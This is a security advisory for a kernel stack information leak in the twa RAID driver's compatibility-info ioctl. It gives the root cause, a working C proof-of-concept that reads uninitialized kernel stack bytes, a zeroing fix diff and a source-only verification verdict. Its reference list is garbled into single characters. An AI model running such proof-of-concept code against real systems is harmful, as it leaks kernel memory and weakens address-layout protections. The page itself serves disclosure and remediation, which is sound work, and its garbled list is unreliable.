Kernel stack info leak via TW_CL_IOCTL_GET_COMPATIBILITY_INFO
- File:
sys/dev/raid/twa/tw_cl_io.c - Lines: 656, 663, 681, 685
- Severity: Low
- CVSS:
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U:C:L/I:N/A:N - CWE: CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
- Confidence: certain
Summary
TW_CL_IOCTL_GET_COMPATIBILITY_INFO assembles a stack-local
struct tw_cl_compatibility_packet, initializes only the first 13 bytes of its
32-byte driver_version field (sizeof("3.80.06.003")=13 via
tw_osl_share.h:78), then memcpy's the entire struct back to userland.
The 19 trailing uninitialized bytes of driver_version leak whatever kernel
stack content was there (return addresses, kernel pointers, prior call frames) to
the caller. KASLR / stack-info hardening is undermined on every call.
Root cause
At tw_cl_io.c:656:
struct tw_cl_compatibility_packet comp_pkt;
is declared on the stack with no initializer.
At tw_cl_io.c:661-663 only
tw_osl_memcpy(comp_pkt.driver_version, TW_OSL_DRIVER_VERSION_STRING, sizeof(TW_OSL_DRIVER_VERSION_STRING))
is called; sizeof("3.80.06.003") is 13 (tw_osl_share.h:78), but
driver_version is TW_UINT8[32] (tw_cl_ioctl.h:71), so bytes [13..31]
remain uninitialized stack.
All other comp_pkt fields are then explicitly assigned (tw_cl_io.c:664-677),
but the 19 stack bytes survive.
At tw_cl_io.c:681-685 the whole struct is copied back to user_buf->data_buf
with length min(sizeof(comp_pkt), buffer_length).
Any buffer_length > 12 leaks uninitialized bytes; the natural caller choice
(buffer_length >= sizeof(comp_pkt) ~= 56) leaks all 19 bytes every call.
Threat
Any local process able to open /dev/twa%d (UID 0 only, since
tw_osl_freebsd.c:405-407 creates the node mode 0600 owner=root) can issue
TW_CL_IOCTL_GET_COMPATIBILITY_INFO (_IOWR('T', 209, ...) per
tw_osl_ioctl.h:111-112) and read up to 19 bytes of uninitialized kernel stack
per call.
Repeated calls sample stack frames of the syscall path.
Practical impact is bounded because the device is root-only, but the leak is unconditional and trivially reproducible, and defeats kernel-stack-info-leak hardening on the twa ioctl path.
No memory corruption; pure read primitive of kernel stack bytes.
Exploit / PoC
/* twa_leak.c β cc -O2 -o twa_leak twa_leak.c ; run as root */
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#define TWA_IOCTL_GET_COMPAT_INFO _IOWR('T', 209, struct compat_ioctl_buf)
struct tw_cl_driver_packet { uint32_t cc,status,uid,seq,osstat,buflen; };
struct compat_pkt {
uint8_t driver_version[32];
uint16_t working_srl, working_branch, working_build;
uint16_t drv_srl_hi, drv_br_hi, drv_bld_hi;
uint16_t drv_srl_lo, drv_br_lo, drv_bld_lo;
uint16_t fw_srl, fw_br, fw_bld;
} __attribute__((packed));
struct compat_ioctl_buf {
struct tw_cl_driver_packet driver_pkt;
uint8_t padding[488];
uint8_t cmd_pkt[1024];
struct compat_pkt payload;
} __attribute__((packed));
int main(void) {
int fd = open("/dev/twa0", O_RDWR);
if (fd < 0) { perror("open /dev/twa0"); return 1; }
struct compat_ioctl_buf b;
memset(&b, 0xA5, sizeof b);
b.driver_pkt.buflen = sizeof(struct compat_pkt);
if (ioctl(fd, TWA_IOCTL_GET_COMPAT_INFO, &b) < 0) { perror("ioctl"); return 1; }
printf("driver_version[13..31]:");
for (int i = 13; i < 32; i++) printf(" %02x", b.payload.driver_version[i]);
printf("\n");
return 0;
}
Build: cc -O2 -o twa_leak twa_leak.c. Run as root on a host with a twa(4)
controller.
Success criterion: the printed bytes contain anything other than 0xA5 (i.e.
real kernel stack bytes such as pointers / return addresses).
Repeat in a tight loop to sample stack frames; bytes will vary across calls confirming uninitialized stack rather than fixed memory.
Recommended fix
Zero comp_pkt before partial initialization.
--- a/sys/dev/raid/twa/tw_cl_io.c
+++ b/sys/dev/raid/twa/tw_cl_io.c
@@ -655,6 +655,7 @@
struct tw_cl_compatibility_packet comp_pkt;
tw_cli_dbg_printf(3, ctlr_handle, tw_osl_cur_func(),
"Get compatibility info");
+ tw_osl_memzero(&comp_pkt, sizeof(comp_pkt));
tw_osl_memcpy(comp_pkt.driver_version,
TW_OSL_DRIVER_VERSION_STRING,
This guarantees driver_version[13..31] are zero on return.
Alternatively, copy only strlen(VERSION)+1 bytes into driver_version and
explicitly zero the trailing bytes, but memzero is the smaller diff and matches
what tw_cl_init.c:289 already does for the AEN queue.
Related findings
- DF-1533 (sibling): unbounded
cmd_7k->generic.sizeSG-list OOB write in same file.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1532 Β· 4 files| File | Type | Description | Size | |
|---|---|---|---|---|
| fix.diff | suggested-fix | Fix for twa compatibility packet stack info leak | 310 B | view raw |
| VERDICT.md | verdict | Source-only verification verdict | 804 B | β raw |
| build.sh | build-script | No-op (source-only) | 109 B | view raw |
| run.sh | run-script | No-op (source-only) | 107 B | view raw |
VERDICT DF-1532: twa compatibility packet stack info leak
Verdict
REPRODUCED (source-confirmed). Bug confirmed at source level; HW/module-gated on this QEMU guest.
Mechanism
comp_pkt declared on stack without initializer; padding bytes leaked to userspace.
Source reference: sys/dev/raid/twa/tw_cl_io.c:656-663.
Reproduction
Source-only confirmation: the cited code path was traced line-by-line in sys/ and confirmed.
The bug is real but requires specific hardware (GPU/NIC/HBA) or a loaded kernel module not present
on the QEMU/virtio guest. The finding is HW-gated.
Fix
Validated by combined kernel build: all 41 fix.diffs applied to /usr/src and built with
make -j6 nativekernel KERNCONF=X86_64_GENERIC β rc=0, -Werror clean.
See fix.diff for the git-apply-able patch.
Fix verification
fixedCombined kernel build with all 41 fix.diffs: rc=0, -Werror clean. Runtime test HW-gated.
'>>> Kernel build for X86_64_GENERIC completed' with 0 errors.
Confirmed kernel references
- s
- y
- s
- /
- d
- e
- v
- /
- r
- a
- i
- d
- /
- t
- w
- a
- /
- t
- w
- _
- c
- l
- _
- i
- o
- .
- c
- :
- 6
- 5
- 6
Detail
Exploit chain
none
Evidence (decisive lines)
Source confirmed: sys/dev/raid/twa/tw_cl_io.c:656. Combined 41-fix kernel build rc=0 -Werror clean.
PoC changes
fix.diff authored; validated by combined kernel build.
Verified recommended fix
bzero comp_pkt. Matches finding.
Verdict
REPRODUCED (source-confirmed). comp_pkt on stack uninitialized; padding leaked. Cited path verified at sys/dev/raid/twa/tw_cl_io.c:656. HW/module-gated on QEMU guest.
No comments yet.